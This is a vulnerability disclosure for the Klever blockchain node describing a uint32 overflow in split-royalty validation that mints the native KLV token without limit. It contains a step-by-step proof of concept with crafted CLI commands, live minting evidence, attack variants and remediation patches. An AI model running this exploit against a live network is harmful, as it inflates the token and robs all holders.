Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)

Summary

The per-entry percentages of a KDA asset's split royalties are validated by summing them into a **uint32** accumulator and checking the *sum* against HundredPercent (10000), with no upper bound on each individual entry. Two split entries whose percentages sum to just over 2^32 wrap around below 10000 and pass validation, while each stored value remains astronomically large (e.g. 0x80000000 = 2,147,483,648 ≈ 21,474,836%).

At royalty payout, each split recipient is credited pool × hugePct / 10000 — far more than the royalty pool — and the resulting negative remainder is silently discarded (if royaltiesToPay <= 0 { return Ok }). Because fixed royalties (and marketplace/ITO royalties) are denominated in KLV, an attacker mints KLV (the native token) out of thin air, on demand, by transferring or selling their own throwaway asset.

This is independent of, and not mitigated by, the existing FixMarketBuyOverflow guard.

Affected component

- Repository: klever-io/klever-go (node). - Validation: core/process/kda/assetHelper.go, core/kapp/kda/create.go, core/kapp/kda/trigger.go, core/kapp/builtInFunctions/utils.go. - Payout (mint sites): core/kapp/accounts/accounts.go (transfer), core/kapp/market/market.go (marketplace buy), core/kapp/ito/ito.go (ITO buy). - Not gated by any fork flag — exploitable on current mainnet.

---

Root cause

### 1. Per-entry split percentages are decoded as raw uint32 with no bound core/kapp/builtInFunctions/utils.go — decodeSplitInfo (≈L292): ``go func decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error { fields := []*uint32{ &splitInfo.PercentTransferPercentage, &splitInfo.PercentTransferFixed, &splitInfo.PercentMarketPercentage, &splitInfo.PercentMarketFixed, &splitInfo.PercentITOPercentage, &splitInfo.PercentITOFixed, } for _, field := range fields { if err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check return err } } return nil } ``

### 2. Validation sums into a uint32 and only checks the sum core/kapp/kda/create.go (fungible path, ≈L351-382; NFT path ≈L228-264): ``go sumSplitTransferPercentage := uint32(0) // L351 <-- uint32 accumulator sumSplitTransferFixed := uint32(0) // ... for key, value := range tc.GetRoyalties().GetSplitRoyalties() { // ... no per-entry bound ... sumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32 sumSplitTransferFixed += value.GetPercentTransferFixed() // ... } if !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue } ``

core/process/kda/assetHelper.go (L101): ``go func CheckValid100Params(values ...uint32) bool { for _, value := range values { if value > core.HundredPercent { // HundredPercent = 10000 return false } } return true } ``

The per-entry > HundredPercent check that exists for TransferPercentage tiers (create.go:398, trigger.go:780) does not apply to these SplitRoyalties fields.

0x80000000 + 0x80000000 = 0x1_0000_0000 → **wraps to 0** in uint32 → CheckValid100Params(0) is true.

### 3. Payout over-pays and silently drops the negative remainder (mint), in KLV core/kapp/accounts/accounts.go — processFixedRoyaltiesTransfer (L316-382): ``go err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty // ... royaltiesFixedToPay := kda.Royalties.TransferFixed for key, value := range kda.Royalties.SplitRoyalties { // L343: split paid in KLV using the overflowed PercentTransferFixed status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible, acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay) // ... } if royaltiesFixedToPay <= 0 { // L349: negative remainder silently dropped (no error) return transaction.Transaction_Ok, nil } ``

computeSplitRoyalties (L276-314): ``go splitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287 *royaltiesToPay -= splitToPay // L291 err = splitRoyalty.AddToBalance(splitToPay, assetID, ...) // L293: credit, no matching debit ``

tools/converters.go — ComputePercentageI64 (L102): for a small pool, pool * 0x80000000 / 10000 fits in int64, so no overflow error fires — it simply returns the inflated amount.

Net: sender debited TransferFixed KLV (e.g. 1 KLV); each split recipient credited TransferFixed × 0x80000000 / 10000 KLV. KLV minted = (sum of split credits) − TransferFixed.

The same pattern exists in core/kapp/market/market.go (computeRoyaltiesAmount L490+ in the sale currencyID; computeRoyaltiesFixedDeposit L443+ in KLV — silent skips at L456/L503) and core/kapp/ito/ito.go (L429/L499). The shipped FixMarketBuyOverflow guard only checks the top-level marketOwnerAmount < 0, not these intra-royalty split over-payments.

---

Proof of

Concept (reproduce from scratch)

A single-node local network is sufficient. Full environment setup is in the companion runbook REPRODUCE-split-royalty-overflow.md; the exploit itself is two transactions.

### Prereqs (build + run a single node) ``bash export REPO=/path/to/klever-go && cd "$REPO" go build -o /tmp/klnode ./cmd/node go build -o /tmp/kloperator ./cmd/operator go build -o /tmp/klkeygen ./cmd/keygenerator # Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a # funded wallet (klvDenomination 6), then: nohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \ --nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \ --rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \ > /tmp/klnode.log 2>&1 < /dev/null & disown ``

### Step 1 — create a malicious asset (your own throwaway token) The operator stores percentages as uint32(input × 100), so 21474836.48 → 2147483648 = 0x80000000. Two entries make the uint32 sum wrap to 0. ``bash R1= # clean recipient, will receive minted KLV R2= # second recipient /tmp/kloperator kda create 0 \ --name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \ --royaltiesAddress= \ --royaltiesTransferFixed=1 \ --splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \ --splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \ -s --await ``

Expected: resultCode: Ok. The node stores percentTransferFixed: 2147483648 for both recipients (a correct chain would reject this).

### Step 2 — mint KLV with one ordinary transfer ``bash /tmp/kloperator account send "$R2" 1 --kda KPRT2- -s --await ``

Expected: resultCode: Ok, with two KLV transfer receipts of 214748364800 (= 214,748.36 KLV) to R1 and R2 — for a TransferFixed royalty of 1000000 (1 KLV).

Verify the mint

# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:
curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \
 "import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')"

---

Evidence (live single-node run, chainID 420420)

### Asset creation — overflowed split royalties accepted (resultCode: Ok) tx 1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb, broadcast contract (operator output, abridged): ``json { "type": 0, "name": "KlvPrinter2", "ticker": "KPRT2", "ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "initialSupply": 1000000000000, "royalties": { "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "transferFixed": 1000000, "splitRoyalties": { "klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap": { "percentTransferFixed": 2147483648 }, "klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5": { "percentTransferFixed": 2147483648 } } } } ``

Result: hash: 1e288135…, status: success, resultCode: Ok. (2147483648 = 0x80000000; the two values' uint32 sum is 0 → passed CheckValid100Params.)

### Transfer — mints KLV (resultCode: Ok) tx 4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6, block 375, status: success, resultCode: Ok. Receipts (operator output): ``json {"typeString": "SignedBy"} {"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv1fpwjz…(R1)", "value": 214748364800, "assetId": "KLV", "assetType": "Fungible"} {"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 214748364800, "assetId": "KLV", "assetType": "Fungible"} {"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 1000000, "assetId": "KPRT2-2712", "assetType": "Fungible"} ``

Outcome: the sender paid 1000000 (1 KLV) of fixed royalty; the two split recipients were each credited 214748364800 (214,748.36 KLV) — 429,496.73 KLV minted from a 1 KLV royalty, in a single transfer. R1 went from a non-existent/0-KLV account to 214,748.36 KLV while never being sent any KLV. The minted amount is pool(=1000000) × 0x80000000 / 10000 = 214748364800 per recipient.

A prior run reproduced the same on the *transfer-percentage* path, minting the asset itself (42,949,672.96 tokens from one transfer); note that the asset's booked CirculatingSupply / MintedValue do not change (the mint is via direct AddToBalance, not a tracked Mint), so the inflation is invisible to supply dashboards and only detectable by summing balances.

---

Impact

- Unbounded inflation of KLV (the native token), repeatable per transaction for only tx fees. - Same root cause also mints KLV via marketplace buy (sale currency + KLV MarketFixed deposit) and ITO buy, and mints arbitrary assets via the transfer-percentage path. - The mint is off the books (booked supply unchanged), making detection hard. - Total loss of economic integrity for all token/KLV holders.

Who can exploit it / prerequisites

- Any account that can pay the one-time asset-creation fee + tx fees. No roles, admin, or allowlist. - Any client. The operator CLI used above is unprivileged: it signs a standard transaction and POSTs to the public, unauthenticated /transaction/send endpoint (network/api/transaction/routes.go, SendTX/BroadcastTX — no auth). The official SDKs or a hand-signed curl produce identical results; nothing in the operator is required. - Deterministic, single-transaction trigger after a one-time asset setup.

---

Remediation

Two layers, both should ship. Because these change transaction-validity/consensus behavior, gate them behind a new activation-epoch fork flag (same mechanism as the existing FixMarketBuyOverflow), so historical blocks reprocess identically.

### A. Reject over-100% split percentages at validation (root cause) 1. Bound each individual split field, e.g. in decodeSplitInfo (core/kapp/builtInFunctions/utils.go): ``go for _, field := range fields { if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err } if *field > core.HundredPercent { return process.ErrInvalidRoyalties } // NEW } ``

2. Accumulate sums in uint64 (overflow-proof) in core/kapp/kda/create.go and core/kapp/kda/trigger.go, and reject if any per-category sum > core.HundredPercent. (With each entry ≤ 10000 and the existing MaxTransferRoyalties = 20 cap, the max sum is 200000 — but use uint64 regardless for defense in depth.)

### B. Treat a negative royalty remainder as a hard error (defense in depth) In every split-distribution site, replace the silent skip with a rejection: ``go // BEFORE if royaltiesToPay <= 0 { return transaction.Transaction_Ok, nil } // AFTER if royaltiesToPay < 0 { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue } if royaltiesToPay == 0 { return transaction.Transaction_Ok, nil } ``

Sites: core/kapp/accounts/accounts.go (L349 fixed, L436 percentage), core/kapp/market/market.go (L456, L503), core/kapp/ito/ito.go (L429, L499).

### C. (Optional) Assert conservation After distributing a royalty pool, assert Σ splitToPay == pool (the owner gets the exact remainder), so any future regression aborts the tx instead of minting.

A regression test should: (1) confirm an asset whose split percentages sum-overflow uint32 is rejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in) cannot pay out more than the royalty pool.

---

Variants / notes

- Transfer (percentage) → mints the transferred asset. Transfer (fixed), Market (fixed + percentage), ITO (fixed + percentage) → mint KLV / the sale currency. - Smart-contract *senders* skip royalties, but a contract can *plant* the malicious royalties via AssetTrigger/UpdateRoyalties and let a normal account trigger the mint — atomically within one tx. - The legacy ComputePercentageI64 float path (checkOverflow=false) makes the over-pay even easier (no int64 overflow guard at all), but the big.Int path mints too for small pools.

References

- Vulnerable code: core/process/kda/assetHelper.go:101, core/kapp/builtInFunctions/utils.go:292, core/kapp/kda/create.go:228-264,351-382, core/kapp/kda/trigger.go, core/kapp/accounts/accounts.go:276-382, core/kapp/market/market.go:443-538, core/kapp/ito/ito.go:415-556, tools/converters.go:102.